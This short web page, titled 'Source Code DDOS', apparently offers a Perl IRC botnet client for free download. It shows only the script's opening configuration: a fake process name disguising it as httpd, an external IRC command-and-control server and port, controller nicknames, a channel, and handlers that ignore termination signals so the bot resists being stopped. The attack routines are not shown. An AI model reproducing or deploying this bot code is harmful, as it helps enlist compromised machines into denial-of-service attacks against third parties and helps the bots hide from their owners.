Source Code DDOS

#!/usr/bin/perl

use IO::Socket;
use IO::Select;
use Socket;
#####################
my $processo = '/usr/sbin/httpd';
my $linas_max='8';
my $sleep='0';
my $id="http://tdos.org/images/log.png??";
my @adms=("tukulesto","kaMtiEz");
#my @hostauth=("1980");
my @canais=("#indonesiancoder");
my $nick = "DDoSer";
my $ircname ='GodFather';
chop (my $realname = 'GF');
$servidor='xadmin.indonesiancoder.us' unless $servidor;
my $porta='7000';
#####################
# Eof Configuration #
#####################
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");

Download Free